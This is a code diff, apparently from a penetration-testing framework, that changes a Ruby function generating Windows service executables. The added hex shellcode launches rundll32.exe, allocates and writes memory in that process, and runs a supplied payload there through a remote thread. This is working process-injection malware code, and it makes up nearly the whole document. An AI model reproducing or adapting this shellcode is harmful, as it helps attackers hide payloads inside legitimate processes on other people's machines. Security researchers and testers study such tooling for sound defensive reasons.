@@ -524,6 +524,9 @@ def self.to_win32pe_service(framework, code, opts={})
524
524
precode_size -= 0x0d
525
525
svcctrlhandler_code_offset = precode_size + pushed_service_name . length
526
526
527
+ precode_size += 0xe4
528
+ shellcode_code_offset = precode_size + ( pushed_service_name . length * 2 )
529
+
527
530
# code_service could be encoded in the future
528
531
code_service =
529
532
"\xFC \xE8 \x89 \x00 \x00 \x00 \x60 \x89 \xE5 \x31 \xD2 \x64 \x8B \x52 \x30 \x8B " +
@@ -536,16 +539,25 @@ def self.to_win32pe_service(framework, code, opts={})
536
539
"\x0C \x4B \x8B \x58 \x1C \x01 \xD3 \x8B \x04 \x8B \x01 \xD0 \x89 \x44 \x24 \x24 " +
537
540
"\x5B \x5B \x61 \x59 \x5A \x51 \xFF \xE0 \x58 \x5F \x5A \x8B \x12 \xEB \x86 \x5D " +
538
541
"\x6A \x00 \x68 \x70 \x69 \x33 \x32 \x68 \x61 \x64 \x76 \x61 \x54 \x68 \x4C \x77 " +
539
- "\x26 \x07 \xFF \xD5 " +pushed_service_name +"\x89 \xE1 \x8D \x85 " +
540
- [ svcmain_code_offset ] . pack ( '<I' ) +"\x6A \x00 \x50 \x51 \x89 \xE0 \x6A \x00 " +
541
- "\x50 \x68 \xFA \xF7 \x72 \xCB \xFF \xD5 \x6A \x00 \x68 \xF0 \xB5 \xA2 \x56 \xFF " +
542
- "\xD5 \x58 \x58 \x58 \x58 \x31 \xC0 \xC3 \xFC \xE8 \x00 \x00 \x00 \x00 \x5D \x81 " +
543
- "\xED " +[ hash_code_offset ] . pack ( '<I' ) +pushed_service_name +"\x89 \xE1 " +
544
- "\x8D \x85 " +[ svcctrlhandler_code_offset ] . pack ( '<I' ) +"\x6A \x00 \x50 " +
545
- "\x51 \x68 \x0B \xAA \x44 \x52 \xFF \xD5 \x6A \x00 \x6A \x00 \x6A \x00 \x6A \x00 " +
546
- "\x6A \x00 \x6A \x00 \x6A \x04 \x6A \x10 \x89 \xE1 \x6A \x00 \x51 \x50 \x68 \xC6 " +
547
- "\x55 \x37 \x7D \xFF \xD5 "
548
-
542
+ "\x26 \x07 \xFF \xD5 " +pushed_service_name +"\x89 \xE1 " +
543
+ "\x8D \x85 " +[ svcmain_code_offset ] . pack ( '<I' ) +"\x6A \x00 \x50 \x51 \x89 \xE0 \x6A \x00 \x50 \x68 " +
544
+ "\xFA \xF7 \x72 \xCB \xFF \xD5 \x6A \x00 \x68 \xF0 \xB5 \xA2 \x56 \xFF \xD5 \x58 " +
545
+ "\x58 \x58 \x58 \x31 \xC0 \xC3 \xFC \xE8 \x00 \x00 \x00 \x00 \x5D \x81 \xED " +
546
+ [ hash_code_offset ] . pack ( '<I' ) +pushed_service_name +"\x89 \xE1 \x8D " +
547
+ "\x85 " +[ svcctrlhandler_code_offset ] . pack ( '<I' ) +"\x6A \x00 \x50 \x51 \x68 \x0B \xAA \x44 \x52 \xFF \xD5 " +
548
+ "\x6A \x00 \x6A \x00 \x6A \x00 \x6A \x00 \x6A \x00 \x6A \x00 \x6A \x04 \x6A \x10 " +
549
+ "\x89 \xE1 \x6A \x00 \x51 \x50 \x68 \xC6 \x55 \x37 \x7D \xFF \xD5 \x31 \xFF \x6A " +
550
+ "\x04 \x68 \x00 \x10 \x00 \x00 \x6A \x54 \x57 \x68 \x58 \xA4 \x53 \xE5 \xFF \xD5 " +
551
+ "\xC7 \x00 \x44 \x00 \x00 \x00 \x8D \x70 \x44 \x57 \x68 \x2E \x65 \x78 \x65 \x68 " +
552
+ "\x6C \x6C \x33 \x32 \x68 \x72 \x75 \x6E \x64 \x89 \xE1 \x56 \x50 \x57 \x57 \x6A " +
553
+ "\x44 \x57 \x57 \x57 \x51 \x57 \x68 \x79 \xCC \x3F \x86 \xFF \xD5 \x8B \x0E \x6A " +
554
+ "\x40 \x68 \x00 \x10 \x00 \x00 \x68 " +[ code . length ] . pack ( '<I' ) +"\x57 \x51 \x68 \xAE \x87 " +
555
+ "\x92 \x3F \xFF \xD5 \x89 \xC7 \x8B \x0E \x8D \x95 " +[ shellcode_code_offset ] . pack ( '<I' ) +"\x54 \x68 " +
556
+ [ code . length ] . pack ( '<I' ) +"\x52 \x50 \x51 \x68 \xC5 \xD8 \xBD \xE7 \xFF \xD5 \x31 \xC0 " +
557
+ "\x8B \x0E \x50 \x50 \x50 \x57 \x50 \x50 \x51 \x68 \xC6 \xAC \x9A \x79 \xFF \xD5 " +
558
+ "\x8B \x0E \x51 \x68 \xC6 \x96 \x87 \x52 \xFF \xD5 \x8B \x4E \x04 \x51 \x68 \xC6 " +
559
+ "\x96 \x87 \x52 \xFF \xD5 \x57 \x68 \xF0 \xB5 \xA2 \x56 \xFF \xD5 "
560
+
549
561
return to_winpe_only ( framework , code_service + code , opts )
550
562
end
551
563
end
0 commit comments